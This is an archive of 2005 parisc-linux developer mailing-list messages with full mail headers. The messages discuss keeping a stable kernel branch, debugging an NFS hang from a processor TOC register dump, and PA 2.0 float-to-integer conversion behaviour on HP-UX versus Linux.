X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jul 2005 03:57:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 20 Jul 2005 05:57:32 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB1E87D66B;
	Tue, 19 Jul 2005 21:57:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27222-10; Tue, 19 Jul 2005 21:57:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C40147D69E;
	Tue, 19 Jul 2005 21:57:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C6E47D655
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 21:57:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27222-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 21:57:21 -0600 (MDT)
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by free.linux.hp.com (Postfix) with ESMTP id 6F85E7D654
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Jul 2005 21:57:21 -0600 (MDT)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP id 7257936591C;
	Wed, 20 Jul 2005 05:57:20 +0200 (CEST)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id D16AD365915;
	Wed, 20 Jul 2005 05:57:19 +0200 (CEST)
X-Originating-IP: [216.208.38.107]
User-Agent: IMHO/0.99 (Webmail for Roxen)
In-Reply-To: <200507200331.j6K3VD3v001086@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +q6vYll/eSEke76WZHQhaXN1IGRvb0CH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22946

JDA wrote:
> It might help to have a "stable" branch that is maintained longer
> than is current practice.  At a minimum, the current tree needs to
> be slushed until the main problems are resolved.

I definitely concur on that. That's something I already suggested on
IRC a while ago, and I believe that we probably all agree that there's
such a need. The questions being how to do it properly (maitaining a
separate "stable" branch is not absolutely trivial), and also *who* is
going to maintain it.

In any case, we really want to take time to fix our bugs. I don't know
if we need to somehow "freeze" our tree to do that. I believe we sort
of need that, since we keep injecting new bugs on top of mostly
unknown existing ones involving and/or impacting many different
subsystems.

Maybe some sort of "puffinfest" would help cleaning up our kernel
before the situation gets out of control.

I'd really wish we talk about that while at OLS, with the guys that
are attending it ;)

my 2c

T-Bone




=20


>=20
>=20
>=20
> 	  -----------------  Processor 1 LPMC Information
------------------
>=20
> 	  Check Type                   =3D 0x00000000
> 	  IC Parity Info               =3D 0x00000000
> 	  Cache Check                  =3D 0x00000000
> 	  TLB Check                    =3D 0x00000000
> 	  Bus Check                    =3D 0x00000000
> 	  Assists Check                =3D 0x00000000
> 	  Assist State                 =3D 0x00000000
> 	  Path Info                    =3D 0x00000000
> 	  System Responder Address     =3D 0x0000000000000000
> 	  System Requestor Address     =3D 0x0000000000000000
>=20
>=20
>=20
> 	  -----------------  Processor 1 TOC Information
-------------------
>=20
> 	  General Registers 0 - 31
> 	  00-03  0000000000000000  00000000103c5ca0  000000001014c628=20
00000000fe38c620
> 	  04-07  0000000010552cc0  00000000046db5d4  00000000105cc360=20
00000000105ccfb0
> 	  08-11  0000000000000018  0000000010424050  0000000000000001=20
00000000bd893300
> 	  12-15  0000000000000000  00000000ff85fc00  0000000000000008=20
00000000fe38c288
> 	  16-19  00000000fe38c620  00000000ff85b400  0000000000000000=20
0000000000024089
> 	  20-23  0002b96357cd9ae6  000000000009eb10  000000000000ff00=20
fffffff0f0430ed8
> 	  24-27  0000000000000520  0000000000000000  00000000046db5d4=20
0000000010552cc0
> 	  28-31  0000000000000000  00000000fe38cc20  00000000fe38cc50=20
0203010200802004
>=20
>=20
> 	  Control Registers 0 - 31
> 	  00-03  0000000000000000  0000000000000000  0000000000000000=20
0000000000000000
> 	  04-07  0000000000000000  0000000000000000  0000000000000000=20
0000000000000000
> 	  08-11  000000000000e486  0000000000000000  00000000000000c0=20
0000000000000038
> 	  12-15  0000000000000000  0000000000000000  0000000000106000=20
0000000000000000
> 	  16-19  0002b96357d799de  0000000000000000  000000001014c67c=20
00000000020008b3
> 	  20-23  00000000103403b8  00000000e338cba8  000000ff0804fd0f=20
8140000000000000
> 	  24-27  00000000004cc000  00000000d153a000  0000000000041020=20
000000f0f0165650
> 	  28-31  000000f0f0165650  5555555555555555  00000000fe38c000=20
0000000000008020
>=20
> 	  Space Registers 0 - 7
> 	  00-03  03921800          00000000          00000000        =20
03921800
> 	  04-07  00000000          00000000          00000000        =20
00000000
>=20
> 	  IIA Space (back entry)       =3D 0x0000000000000000
> 	  IIA Offset (back entry)      =3D 0x000000001014c680
> 	  CPU State                    =3D 0x9e000001
>=20
>=20
> 	  --------------  Memory Error Log Information  --------------
>=20
> 	  Bus 0 Log Information
>=20
>=20
> 	     No errors logged for this bus
>=20
>=20
> 	     ------------  I/O Module Error Log Information  ------------
>=20
>=20
> 		No I/O module errors logged
>=20
>=20
> 		Service Menu: Enter command >
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>=20
--=20
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Machine hanging during high-traffic NFS
Date: Wed, 20 Jul 2005 15:56:52 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20050720145652.GN10156@parcelfarce.linux.theplanet.co.uk>
References: <200507200331.j6K3VD3v001086@hiauly1.hia.nrc.ca>
	<20050720035719.D16AD365915@mail.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623857 15725 80.91.229.3 (22 Nov 2014 02:37:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:37 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jul 2005 14:55:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx017) with SMTP; 20 Jul 2005 16:55:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43ADD7D6B3;
	Wed, 20 Jul 2005 08:54:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32188-05; Wed, 20 Jul 2005 08:54:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3C3947D6B6;
	Wed, 20 Jul 2005 08:54:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFFB87D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 08:54:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32188-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 08:54:49 -0600 (MDT)
Original-Received: from parcelfarce.linux.theplanet.co.uk
	(parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 1B6BB7D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 08:54:49 -0600 (MDT)
Original-Received: from willy by parcelfarce.linux.theplanet.co.uk with local (Exim
	4.43) id 1DvG0C-0005HK-I6; Wed, 20 Jul 2005 15:56:52 +0100
Content-Disposition: inline
In-Reply-To: <20050720035719.D16AD365915@mail.esiee.fr>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: mgCsYrExeSEkY76WZHQhaXN1IGRvb4Be
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22947

On Wed, Jul 20, 2005 at 05:57:19AM +0300, Thibaut VARENE wrote:
> I definitely concur on that. That's something I already suggested on
> IRC a while ago, and I believe that we probably all agree that there's
> such a need. The questions being how to do it properly (maitaining a
> separate "stable" branch is not absolutely trivial), and also *who* is
> going to maintain it.

I believe I said at the time that you were more than welcome to maintain
such a thing.  If you're just volunteering me to do more work ... sorry,
not interested.

> In any case, we really want to take time to fix our bugs. I don't know
> if we need to somehow "freeze" our tree to do that. I believe we sort
> of need that, since we keep injecting new bugs on top of mostly
> unknown existing ones involving and/or impacting many different
> subsystems.

Sounds good to me

> Maybe some sort of "puffinfest" would help cleaning up our kernel
> before the situation gets out of control.
> 
> I'd really wish we talk about that while at OLS, with the guys that
> are attending it ;)

We can certainly get together at some point ... this week's pretty busy though!

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "soete.joel" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA 2.0 float conversion to unsigned long long
Date: Wed, 20 Jul 2005 16:30:23 +0100
Lines: 95
Approved: news@gmane.org
Message-ID: <IJXN2N$DA7727996AD92DCEF0C4B526A04147B8@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623857 15726 80.91.229.3 (22 Nov 2014 02:37:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:37 +0000 (UTC)
Cc: kyle <kyle@mcmartin.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jul 2005 15:30:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 20 Jul 2005 17:30:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 930DF7D6B3;
	Wed, 20 Jul 2005 09:30:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32529-06; Wed, 20 Jul 2005 09:30:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 91E907D6B6;
	Wed, 20 Jul 2005 09:30:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 85F0A7D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 09:30:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32529-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 09:30:31 -0600 (MDT)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id A1BDE7D670
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 09:30:30 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by guri.is.scarlet.be  with ESMTP id j6KFUNU11285; 
	Wed, 20 Jul 2005 17:30:23 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cQusYuszeSEkML6WZHQhaXN1IGRvb0AH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22948

> > Dave would you mean that c3k was runing parisc-linux and a500 hpux?
> 
> Correct.
> 
Ok clear.

> > Is there some pb in sgl -> udw convertion?
> 
> Could be.  There is a significant different between PA 1.x and 2.0
> in this respect.  PA 2.0 has "hardware" instructions to do these
> conversions.  GCC currently uses these instructions when generating
> PA 2.0 code.

After severall hours of test, I changed my mind.

I have my ws runing hpux 11.00 and gcc to compile pr code ;-)

I have a n4k 2-way pa8600 550Mhz testing parisc-linux 2.6.12-pa2-n4ksmp
(ggc-4.0 + fpr limits) 

I can also use a developement n4k 4-way pa8600 440Mhz (not od this clock)=

runing hpux 11.00 (with latest patch bundle).

First thing on p-l I noticed:
I get rid of unsigned by:
long long
f2ull(float f)
{
 return (long long) f;
}

And it print well 'f2ull((float) ((~0ULL) >> 1)) =3D 0x7fffffffffffffff'

I let you also check the resulting .s file when I play with following:
unsigned long long
f2ull(float f)
{
  long long tmp =3D (long long) f;
  return (unsigned long long) temp;
}

Semanticaly it would be the same as the original but the result is also:
'f2ull((float) ((~0ULL) >> 1)) =3D 0x7fffffffffffffff' ?

Now the brain shacking ;-)

the behaviour comparison between hpux and p-l (on the original code):
I used some gui gdb helper (wdb on hpux and insight and ddd on p-l)

    * at the end of f2ull() ret0 and ret1 (aka r28 & r29) are well differ=
ent:
        hpux: r28 =3D=3D 0x80000000; r29 =3D=3D 0x00000000,
        p-l : r28 =3D r29 =3D=3D 0x80000000
    ???? (the code of .s file is quite the same ;-)

    * very strange is the very difference of fpsr:
      (e.g. after fldw r3(,ret0),fr22
            hpux : fpsr =3D=3D 0x40

            after next fcnv insn
            hpux : fpsr =3D=3D 0x80000000; 

            p-l  : fpsr stay constantly =3D=3D 0x0

So as far as this time the 2 hw are nearly the same, as well as the execu=
table
txt, the 2 previous test make me better thought that fpu are 'configurabl=
e'
(may be not all model) and are not setup the same way by the different OS=
. 
That said, I never read anything about this but i don't see other reasona=
ble
explanation?


Joel

PS:
obviously gdb relase are very different on the 2 systems, but I hope that=
 such
'printf "%x\n", $fpsr' (or what else as reg) could show me actual cpu reg=

value, though.

=0A=0A-------------------------------------------------------=0ANOTE! My =
email address is changing to ... @scarlet.be=0APlease make the necessary =
changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Machine hanging during high-traffic NFS
Date: Wed, 20 Jul 2005 10:40:58 -0600
Lines: 28
Approved: news@gmane.org
Message-ID: <20050720164058.GA3681@colo.lackof.org>
References: <42DD6A7F.8090706@excelcia.org>
	<20050720010425.GC24060@roadwarrior.mcmartin.ca>
	<42DDF65E.7010605@excelcia.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623858 15730 80.91.229.3 (22 Nov 2014 02:37:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:38 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 parisc-linux@lists.parisc-linux.org
To: Kurt Fitzner <kfitzner@excelcia.org>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jul 2005 16:36:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 20 Jul 2005 18:36:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B0E477D6DD;
	Wed, 20 Jul 2005 10:36:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00879-04; Wed, 20 Jul 2005 10:36:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 115977D6E1;
	Wed, 20 Jul 2005 10:36:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 90E827D6DC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 10:36:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00608-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 10:36:13 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 106D67D6C8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 10:36:13 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 81418360064;
	Wed, 20 Jul 2005 10:40:58 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05872-03; Wed, 20 Jul 2005 10:40:58 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 38BD8360055; Wed, 20 Jul 2005 10:40:58 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42DDF65E.7010605@excelcia.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0xisYiA8eSEker6WZHQhaXN1IGRvbwAH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22949

On Wed, Jul 20, 2005 at 12:59:42AM -0600, Kurt Fitzner wrote:
> I apologize - I had not seen that page before.  I should have done more
> research myself before reporting the issue.

FAQ has a reference to it. But thanks for reporting the bug.

> There is no console output prior to the hang, and no kernel fault to
> obtain the IAOQ/IASQ information from.  I did perform a TOC.  The data
> from that is below.
> 
> If there is any further information that might help, please let me know.

thanks - the key bit to start with is GR02 and IOAQ :

GR02 0x101e3910 nfs_mark_request_dirty+24
IOAQ 0x1010c1b0 intr_restore+11c

Sounds like either an interrupt storm from the card or a deadlock
in nfs code. Unfortunately TOC doesn't provide more stack trace
informaion. And I'm not able to chase NFS issues at the moment.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kurt Fitzner <kfitzner@excelcia.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Machine hanging during high-traffic NFS
Date: Wed, 20 Jul 2005 00:59:42 -0600
Lines: 61
Approved: news@gmane.org
Message-ID: <42DDF65E.7010605@excelcia.org>
References: <42DD6A7F.8090706@excelcia.org>
	<20050720010425.GC24060@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623858 15732 80.91.229.3 (22 Nov 2014 02:37:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:23 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Jul 2005 06:59:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 20 Jul 2005 08:59:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2FA2F7D6BD;
	Wed, 20 Jul 2005 00:59:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28469-07; Wed, 20 Jul 2005 00:59:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2CA3C7D6B3;
	Wed, 20 Jul 2005 00:59:52 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E48F7D67F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 00:59:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28434-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 00:59:46 -0600 (MDT)
Original-Received: from pd4mo1so.prod.shaw.ca (shawidc-mo1.cg.shawcable.net
	[24.71.223.10])
	by free.linux.hp.com (Postfix) with ESMTP id 70EA57D677
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Jul 2005 00:59:46 -0600 (MDT)
Original-Received: from pd4mr5so.prod.shaw.ca (pd4mr5so-qfe3.prod.shaw.ca [10.0.141.50])
	by l-daemon (Sun ONE Messaging Server 6.0 HotFix 1.01 (built Mar 15
	2004)) with ESMTP id <0IJW000H3ZFJUM20@l-daemon> for
	parisc-linux@lists.parisc-linux.org;
